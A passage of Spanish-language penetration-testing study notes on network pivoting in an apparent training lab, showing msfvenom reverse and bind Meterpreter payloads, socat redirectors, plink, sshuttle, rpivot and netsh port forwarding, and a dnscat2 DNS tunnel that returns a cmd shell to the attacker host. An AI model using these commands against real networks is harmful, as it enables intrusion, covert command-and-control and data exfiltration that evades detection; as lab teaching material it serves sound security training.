Establishing the Meterpreter session

Una vez que ejecutamos el payload en el host Windows, deberíamos recibir una Meterpreter shell a través del Ubuntu pivot host, redirigida hacia nuestro listener en el attack host:

[*] Started reverse TCP handler on 0.0.0.0:8081 
[*] Sending stage (200262 bytes) to 10.10.14.18
[*] Meterpreter session 2 opened (10.10.14.18:8081 -> 10.10.14.18:40173 ) at 2022-03-04 15:26:14 -0500

meterpreter > shell
Process 2336 created.
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1637]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\>

Socat

Socat Redirection with a Reverse Shell

Socat es una herramienta de relay bidireccional que permite crear sockets tipo pipe entre dos canales de red independientes, sin necesidad de usar SSH tunneling. Actúa como un redirector, escuchando en un host:puerto y redirigiendo ese tráfico hacia otra dirección IP y puerto.

Podemos iniciar el listener de Metasploit en nuestra máquina atacante usando el mismo comando mencionado en la sección anterior, y luego lanzar socat desde el servidor Ubuntu para establecer el canal de redirection.

Starting Socat Listener

ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:10.10.14.18:80

Socat escuchará en localhost en el puerto 8080 y redirigirá todo el tráfico hacia el puerto 80 de nuestra máquina atacante (10.10.14.18). Una vez que tengamos configurado nuestro redirector, podemos crear un payload que se conecte de vuelta a ese redirector, el cual está corriendo en el servidor Ubuntu.

También iniciaremos un listener en nuestra máquina atacante, porque en cuanto socat reciba una conexión desde el objetivo, redirigirá todo ese tráfico hacia el listener de nuestra máquina atacante, donde recibiremos la shell.

Creating the Windows Payload

gzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.5.129 -f exe -o backupscript.exe LPORT=8080

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 743 bytes
Final size of exe file: 7168 bytes
Saved as: backupscript.exe

Ten en cuenta que debemos transferir este payload al host Windows. Podemos usar algunas de las mismas técnicas vistas en File Transfer.

Starting MSF Console

sudo msfconsole -q

Configuring & Starting the multi/handler

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf6 exploit(multi/handler) > set lport 80
lport => 80
msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://0.0.0.0:80

Establishing the Meterpreter Session

Podemos probar esto ejecutando nuevamente nuestro payload en el host Windows, y esta vez deberíamos ver que la conexión de red proviene desde el servidor Ubuntu.

[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Without a database connected that payload UUID tracking will not work!
[*] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Staging x64 payload (201308 bytes) ...
[!] https://0.0.0.0:80 handling request from 10.129.202.64; (UUID: 8hwcvdrp) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 1 opened (10.10.14.18:80 -> 127.0.0.1 ) at 2022-03-07 11:08:10 -0500

meterpreter > getuid
Server username: INLANEFREIGHT\victor

Socat Redirection with a Bind Shell

Similar a nuestro redirector de Socat con reverse shell, también podemos crear un redirector de bind shell con Socat.

Esto es diferente de las reverse shells que se conectan de vuelta desde el servidor Windows hacia el servidor Ubuntu y que luego se redirigen hacia nuestra máquina atacante. En el caso de las bind shells, el servidor Windows iniciará un listener y se enlazará a un puerto específico.

Podemos crear un payload de bind shell para Windows y ejecutarlo en el host Windows. Al mismo tiempo, podemos crear un redirector Socat en el servidor Ubuntu, el cual escuchará conexiones entrantes desde un handler de Metasploit configurado como bind y las redirigirá al payload de bind shell en el objetivo Windows

La figura de abajo explica mucho mejor el proceso de pivoting en este escenario.

Creating the Windows Payload

Podemos crear una bind shell usando msfvenom con el siguiente comando:

gzzcoo@nobody[/tmp]$ msfvenom -p windows/x64/meterpreter/bind_tcp -f exe -o backupscript.exe LPORT=8443

[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x64 from the payload
No encoder specified, outputting raw payload
Payload size: 499 bytes
Final size of exe file: 7168 bytes
Saved as: backupjob.exe

Starting Socat Bind Shell Listener

Podemos iniciar un listener con Socat que escuche en el puerto 8080 y redirija los paquetes al servidor Windows en el puerto 8443:

ubuntu@Webserver:~$ socat TCP4-LISTEN:8080,fork TCP4:172.16.5.19:8443

Configuring & Starting the Bind multi/handler

Finalmente, podemos iniciar un handler de Metasploit configurado para bind, el cual se conectará al listener de socat en el puerto 8080 (en el servidor Ubuntu).

msf6 > use exploit/multi/handler

[*] Using configured payload generic/shell_reverse_tcp
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/bind_tcp
payload => windows/x64/meterpreter/bind_tcp
msf6 exploit(multi/handler) > set RHOST 10.129.202.64
RHOST => 10.129.202.64
msf6 exploit(multi/handler) > set LPORT 8080
LPORT => 8080
msf6 exploit(multi/handler) > run

[*] Started bind TCP handler against 10.129.202.64:8080

Establishing Meterpreter Session

Podemos ver que un bind handler se ha conectado a una solicitud de stage que ha sido pivoteada a través del listener de socat tras ejecutar el payload en el objetivo Windows.

[*] Sending stage (200262 bytes) to 10.129.202.64
[*] Meterpreter session 1 opened (10.10.14.18:46253 -> 10.129.202.64:8080 ) at 2022-03-07 12:44:44 -0500

meterpreter > getuid
Server username: INLANEFREIGHT\victor

SSH for Windows: plink.exe

Plink, abreviatura de PuTTY Link, es una herramienta SSH por línea de comandos para Windows que viene incluida en el paquete de PuTTY cuando se instala. Al igual que ssh, Plink también permite crear reenvíos de puertos dinámicos (Dynamic Port Forwarding) y proxies SOCKS.

Antes de finales de 2018, Windows no incluía un cliente SSH de forma nativa, por lo que los usuarios debían instalar uno por su cuenta. La herramienta preferida por muchos administradores era PuTTY, que incluía plink.

Imaginemos que estamos en un pentest y conseguimos acceso a una máquina Windows. Rápidamente hacemos una enumeración del host y su postura de seguridad, y determinamos que está moderadamente restringida. Necesitamos usar esta máquina como punto de pivote, pero es poco probable que podamos cargar nuestras propias herramientas sin exponernos.

En este caso, podemos vivir de la tierra (living off the land) y usar herramientas que ya estén presentes. Si el host es antiguo y tiene instalado PuTTY (o si encontramos una copia en un recurso compartido), Plink puede ser nuestra vía para pivotar y mantenernos bajo el radar un poco más de tiempo.

Ese es solo un posible escenario donde Plink resulta útil. También podríamos utilizarlo si estamos usando una máquina Windows como host de ataque principal en lugar de una basada en Linux.

Getting To Know Plink

En la imagen de abajo, tenemos un host de ataque basado en Windows.

El host de ataque en Windows inicia un proceso de plink.exe con los siguientes argumentos en la línea de comandos para establecer un dynamic port forward a través del servidor Ubuntu. Esto inicia una sesión SSH entre el host de ataque en Windows y el servidor Ubuntu, y luego plink comienza a escuchar en el puerto 9050.

Using Plink.exe

plink -ssh -D 9050 ubuntu@10.129.15.50

Otra herramienta basada en Windows llamada Proxifier puede usarse para iniciar un túnel SOCKS a través de la sesión SSH que creamos. Proxifier es una herramienta para Windows que crea una red tunelizada para aplicaciones cliente de escritorio, permitiendo que funcionen a través de un proxy SOCKS o HTTPS, y también permite hacer proxy chaining. Es posible crear un perfil donde podamos proporcionar la configuración para nuestro SOCKS server iniciado por Plink en el puerto 9050.

Después de configurar el SOCKS server con la IP 127.0.0.1 y el puerto 9050, podemos iniciar directamente mstsc.exe (el cliente de escritorio remoto de Windows) para establecer una sesión RDP con un objetivo Windows que permita conexiones RDP.

SSH Pivoting with sshuttle

Sshuttle es una herramienta escrita en Python que elimina la necesidad de configurar proxychains. Sin embargo, esta herramienta solo funciona para pivotar sobre conexiones SSH, y no ofrece opciones para hacerlo a través de TOR o servidores proxy HTTPS. Aun así, puede ser muy útil ya que automatiza la ejecución de reglas de iptables y el enrutamiento necesario para establecer pivotes a través del host remoto.

Una ventaja interesante de sshuttle es que no necesitamos usar proxychains para conectarnos a los hosts remotos. Basta con establecer la sesión SSH y sshuttle se encargará del resto.

Podemos instalar sshuttle en el host pivot Ubuntu y configurarlo para que enrute el tráfico hacia el host Windows y conectarnos vía RDP:

Installing sshuttle

sudo apt-get install sshuttle -y

Running sshuttle

Para usar sshuttle, especificamos la opción -r para conectarnos a la máquina remota con un nombre de usuario y contraseña. Luego necesitamos incluir la red o IP que queremos enrutar a través del pivot host, que en nuestro caso es la red 172.16.5.0/23.

gzzcoo@nobody[/tmp]$ sudo sshuttle -r ubuntu@10.129.202.64 172.16.5.0/23 -v 

Starting sshuttle proxy (version 1.1.0).
c : Starting firewall manager with command: ['/usr/bin/python3', '/usr/local/lib/python3.9/dist-packages/sshuttle/__main__.py', '-v', '--method', 'auto', '--firewall']
fw: Starting firewall with Python version 3.9.2
fw: ready method name nat.
c : IPv6 enabled: Using default IPv6 listen address ::1
c : Method: nat
c : IPv4: on
c : IPv6: on
c : UDP : off (not available with nat method)
c : DNS : off (available)
c : User: off (available)
c : Subnets to forward through remote host (type, IP, cidr mask width, startPort, endPort):
c :   (<AddressFamily.AF_INET: 2>, '172.16.5.0', 32, 0, 0)
c : Subnets to exclude from forwarding:
c :   (<AddressFamily.AF_INET: 2>, '127.0.0.1', 32, 0, 0)
c :   (<AddressFamily.AF_INET6: 10>, '::1', 128, 0, 0)
c : TCP redirector listening on ('::1', 12300, 0, 0).
c : TCP redirector listening on ('127.0.0.1', 12300).
c : Starting client with Python version 3.9.2
c : Connecting to server...
ubuntu@10.129.202.64's password: 
 s: Running server on remote host with /usr/bin/python3 (version 3.8.10)
 s: latency control setting = True
 s: auto-nets:False
c : Connected to server.
fw: setting up.
fw: ip6tables -w -t nat -N sshuttle-12300
fw: ip6tables -w -t nat -F sshuttle-12300
fw: ip6tables -w -t nat -I OUTPUT 1 -j sshuttle-12300
fw: ip6tables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL
fw: ip6tables -w -t nat -A sshuttle-12300 -j RETURN --dest ::1/128 -p tcp
fw: iptables -w -t nat -N sshuttle-12300
fw: iptables -w -t nat -F sshuttle-12300
fw: iptables -w -t nat -I OUTPUT 1 -j sshuttle-12300
fw: iptables -w -t nat -I PREROUTING 1 -j sshuttle-12300
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN -m addrtype --dst-type LOCAL
fw: iptables -w -t nat -A sshuttle-12300 -j RETURN --dest 127.0.0.1/32 -p tcp
fw: iptables -w -t nat -A sshuttle-12300 -j REDIRECT --dest 172.16.5.0/32 -p tcp --to-ports 12300

Traffic Routing through iptables Routes

Con este comando, sshuttle crea una entrada en nuestras iptables para redirigir todo el tráfico destinado a la red 172.16.5.0/23 a través del pivot host.

Gracias a esto, ya podemos utilizar cualquier herramienta directamente sin necesidad de usar proxychains, como en el ejemplo con Nmap, donde escaneamos el puerto 3389 de la IP 172.16.5.19 de forma totalmente transparente.

gzzcoo@nobody[/tmp]$ nmap -v -sV -p3389 172.16.5.19 -A -Pn

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-03-08 11:16 EST
NSE: Loaded 155 scripts for scanning.
NSE: Script Pre-scanning.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating Parallel DNS resolution of 1 host. at 11:16
Completed Parallel DNS resolution of 1 host. at 11:16, 0.15s elapsed
Initiating Connect Scan at 11:16
Scanning 172.16.5.19 [1 port]
Completed Connect Scan at 11:16, 2.00s elapsed (1 total ports)
Initiating Service scan at 11:16
NSE: Script scanning 172.16.5.19.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Nmap scan report for 172.16.5.19
Host is up.

PORT     STATE SERVICE       VERSION
3389/tcp open  ms-wbt-server Microsoft Terminal Services
| rdp-ntlm-info: 
|   Target_Name: INLANEFREIGHT
|   NetBIOS_Domain_Name: INLANEFREIGHT
|   NetBIOS_Computer_Name: DC01
|   DNS_Domain_Name: inlanefreight.local
|   DNS_Computer_Name: DC01.inlanefreight.local
|   Product_Version: 10.0.17763
|_  System_Time: 2022-08-14T02:58:25+00:00
|_ssl-date: 2022-08-14T02:58:25+00:00; +7s from scanner time.
| ssl-cert: Subject: commonName=DC01.inlanefreight.local
| Issuer: commonName=DC01.inlanefreight.local
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2022-08-13T02:51:48
| Not valid after:  2023-02-12T02:51:48
| MD5:   58a1 27de 5f06 fea6 0e18 9a02 f0de 982b
|_SHA-1: f490 dc7d 3387 9962 745a 9ef8 8c15 d20e 477f 88cb
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 6s, deviation: 0s, median: 6s


NSE: Script Post-scanning.
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Initiating NSE at 11:16
Completed NSE at 11:16, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 4.07 seconds

Web Server Pivoting with Rpivot

Rpivot es una herramienta de reverse SOCKS proxy escrita en Python para el SOCKS tunneling. Rpivot vincula una máquina dentro de una red corporativa a un servidor externo y expone el puerto local del cliente en el lado del servidor. Tomaremos el siguiente escenario, donde tenemos un servidor web en nuestra red interna (172.16.5.135) y queremos acceder a él usando el proxy rpivot.

Podemos iniciar nuestro servidor SOCKS proxy de rpivot con el siguiente comando para permitir que el cliente se conecte al puerto 9999 y escuchar en el puerto 9050 para conexiones de pivoteo vía proxy.

Cloning rpivot

git clone https://github.com/klsecservices/rpivot.git

Installing Python2.7

sudo apt-get install python2.7

Alternative Installation of Python2.7

curl https://pyenv.run | bash
echo 'export PYENV_ROOT="$HOME/.pyenv"' >> ~/.bashrc
echo 'command -v pyenv >/dev/null || export PATH="$PYENV_ROOT/bin:$PATH"' >> ~/.bashrc
echo 'eval "$(pyenv init -)"' >> ~/.bashrc
source ~/.bashrc
pyenv install 2.7
pyenv shell 2.7

Running server.py from the Attack Host

Luego de instalar Python 2.7, podemos lanzar el servidor de rpivot con server.py para aceptar conexiones desde el cliente ubicado en el servidor Ubuntu comprometido.

gzzcoo@nobody[/tmp]$ python2.7 server.py --proxy-port 9050 --server-port 9999 --server-ip 0.0.0.0

Transfering rpivot to the Target

Antes de ejecutar client.py, necesitamos transferir el directorio de rpivot al objetivo comprometido. Podemos hacerlo con el siguiente comando SCP:

gzzcoo@nobody[/tmp]$ scp -r rpivot ubuntu@<IpaddressOfTarget>:/home/ubuntu/

Running client.py from Pivot Target

Esto establecerá una conexión inversa desde el host comprometido (Ubuntu) hacia nuestra máquina atacante.

ubuntu@WEB01:~/rpivot$ python2.7 client.py --server-ip 10.10.14.18 --server-port 9999

Confirming Connection is Established

New connection from host 10.129.202.64, source port 35226

Luego, configuramos proxychains para usar el servidor SOCKS que levantamos con rpivot en 127.0.0.1:9050.

Browsing to the Target Webserver using Proxychains

Finalmente, podremos acceder al servidor web interno (en la red 172.16.5.0/23) apuntando al 172.16.5.135:80, usando proxychains y navegando con Firefox desde nuestra máquina atacante.

proxychains firefox-esr 172.16.5.135:80

Similar al proxy de pivoting anterior, puede haber escenarios en los que no podamos pivotar directamente hacia un servidor externo (nuestra máquina atacante en la nube). Algunas organizaciones tienen proxies HTTP que requieren autenticación NTLM, configurados con el Controlador de Dominio (DC).

En estos casos, rpivot permite añadir una opción adicional de autenticación NTLM proporcionando un usuario y contraseña válidos del dominio.

Connecting to a Web Server using HTTP-Proxy & NTLM Auth

python client.py --server-ip <IPaddressofTargetWebServer> --server-port 8080 --ntlm-proxy-ip <IPaddressofProxy> --ntlm-proxy-port 8081 --domain <nameofWindowsDomain> --username <username> --password <password>

Port Forwarding with Windows: Netsh

Netsh es una herramienta de línea de comandos de Windows que puede ayudarnos con la configuración de red de un sistema Windows en particular. Estas son algunas de las tareas relacionadas con red que podemos realizar con Netsh:

  • Encontrar rutas.

  • Ver la configuración del firewall.

  • Añadir proxies.

  • Crear reglas de reenvío de puertos.

Tomemos como ejemplo el siguiente escenario, donde el host comprometido es una estación de trabajo con Windows 10 perteneciente a un administrador de TI (IPs: 10.129.15.150, 172.16.5.25). Hay que tener en cuenta que, durante un pentest, es posible acceder al equipo de un empleado mediante técnicas como ingeniería social o phishing. Esto nos permitiría pivotar más dentro de la red a la que pertenece esa estación de trabajo.

Using Netsh.exe to Port Forward

Podemos usar netsh.exe para reenviar todo el tráfico recibido en un puerto específico (por ejemplo, el 8080) hacia un host remoto en un puerto remoto. Esto se puede hacer con el siguiente comando:

C:\Windows\system32> netsh.exe interface portproxy add v4tov4 listenport=8080 listenaddress=10.129.42.198 connectport=3389 connectaddress=172.16.5.25

Verifying Port Forward

C:\Windows\system32> netsh.exe interface portproxy show v4tov4

Listen on ipv4:             Connect to ipv4:

Address         Port        Address         Port
--------------- ----------  --------------- ----------
10.129.42.198   8080        172.16.5.25     3389

Connecting to the Internal Host through the Port Forward

Después de configurar el portproxy en nuestro host pivot basado en Windows, intentaremos conectarnos al puerto 8080 de ese host desde nuestra máquina atacante usando xfreerdp. Una vez que se envíe una solicitud desde nuestra máquina, el host Windows redirigirá nuestro tráfico según la configuración del proxy definida con netsh.exe.

DNS Tunneling with Dnscat2

Dnscat2 es una herramienta de tunelización que utiliza el protocolo DNS para enviar datos entre dos hosts. Usa un canal C2 (Command and Control) cifrado y envía la información dentro de los registros TXT del protocolo DNS.

Normalmente, en entornos corporativos con dominios Active Directory, existe un servidor DNS que resuelve nombres de host a direcciones IP y redirige las consultas a servidores DNS externos. Sin embargo, con Dnscat2, la resolución de nombres se solicita desde un servidor externo controlado por el atacante. Cuando el DNS interno intenta resolver una dirección, en realidad se está exfiltrando información camuflada como una consulta DNS.

Este método es altamente sigiloso y puede evadir mecanismos de detección tradicionales, como los firewalls que inspeccionan conexiones HTTPS, ya que aprovecha la naturaleza "inocente" del tráfico DNS.

Setting Up & Using dnscat2

Cloning dnscat2 and Setting Up the Server

Si dnscat2 aún no está configurado en nuestra máquina atacante, podemos instalarlo y dejarlo listo con los siguientes comandos:

git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server/
sudo gem install bundler
sudo bundle install

Starting the dnscat2 server

Luego de instalar y preparar el entorno, podemos iniciar el servidor de dnscat2 ejecutando el siguiente comando:

gzzcoo@nobody[/tmp]$ sudo ruby dnscat2.rb --dns host=10.10.14.18,port=53,domain=inlanefreight.local --no-cache

New window created: 0
dnscat2> New window created: crypto-debug
Welcome to dnscat2! Some documentation may be out of date.

auto_attach => false
history_size (for new windows) => 1000
Security policy changed: All connections must be encrypted
New window created: dns1
Starting Dnscat2 DNS server on 10.10.14.18:53
[domains = inlanefreight.local]...

Assuming you have an authoritative DNS server, you can run
the client anywhere with the following (--secret is optional):

  ./dnscat --secret=0ec04a91cd1e963f8c03ca499d589d21 inlanefreight.local

To talk directly to the server without a domain name, run:

  ./dnscat --dns server=x.x.x.x,port=53 --secret=0ec04a91cd1e963f8c03ca499d589d21

Of course, you have to figure out <server> yourself! Clients
will connect directly on UDP port 53.

Cloning dnscat2-powershell to the Attack Host

Además, el servidor generará una clave secreta (--secret) para cifrar la comunicación entre el cliente y el servidor. Esta clave debe usarse también en el cliente para establecer el canal C2.

Para el cliente, podemos usar:

  • El cliente original de dnscat2 (./dnscat)

  • O bien, dnscat2-powershell, una versión en PowerShell compatible con Windows.

Lo recomendable es clonar el repositorio que contiene el cliente en nuestra máquina atacante, y luego transferirlo al host comprometido para ejecutarlo y establecer el túnel DNS.

git clone https://github.com/lukebaggett/dnscat2-powershell.git

Importing dnscat2.ps1

Una vez que el archivo dnscat2.ps1 esté en el equipo comprometido, podemos importarlo en PowerShell con el siguiente comando:

Import-Module .\dnscat2.ps1

Confirming Session Establishment

Después de importarlo, usaremos el módulo para establecer un túnel hacia nuestro servidor atacante que ya está ejecutando dnscat2. Podemos enviar una sesión de shell tipo cmd con este comando:

PS C:\htb> Start-Dnscat2 -DNSserver 10.10.14.18 -Domain inlanefreight.local -PreSharedSecret 0ec04a91cd1e963f8c03ca499d589d21 -Exec cmd

Listing dnscat2 Options

Es importante que el valor de -PreSharedSecret coincida con el generado por el servidor para que la conexión se establezca de forma correcta y cifrada.

Si todo está configurado correctamente, veremos una nueva sesión activa en el servidor dnscat2 de nuestra máquina atacante.

New window created: 1
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)

dnscat2>

Interacting with the Established Session

Podemos listar las opciones disponibles en dnscat2 escribiendo ? en la consola del servidor.

Esto indica que la sesión está cifrada y autenticada correctamente (gracias al pre-shared key). Desde ahí, cualquier comando que escribamos se enviará al cliente Windows comprometido. Por ejemplo:

dnscat2> window -i 1
New window created: 1
history_size (session) => 1000
Session 1 Security: ENCRYPTED AND VERIFIED!
(the security depends on the strength of your pre-shared secret!)
This is a console session!

That means that anything you type will be sent as-is to the
client, and anything they type will be displayed as-is on the
screen! If the client is executing a command and you don't
see a prompt, try typing 'pwd' or something!

To go back, type ctrl-z.

Microsoft Windows [Version 10.0.18363.1801]
(c) 2019 Microsoft Corporation. All rights reserved.

C:\Windows\system32>
exec (OFFICEMANAGER) 1>

SOCKS5 Tunneling with Chisel

ICMP Tunneling with SOCKS5

Ligolo-NG

Single Pivoting with Ligolo-NG

Double Pivoting with Ligolo-NG

Double Pivots

RDP and SOCKS Tunneling with SocksOverRDP

AnteriorAttacking Email ServicesSiguienteLocal File Inclusion (LFI)

Última actualización

¿Te fue útil?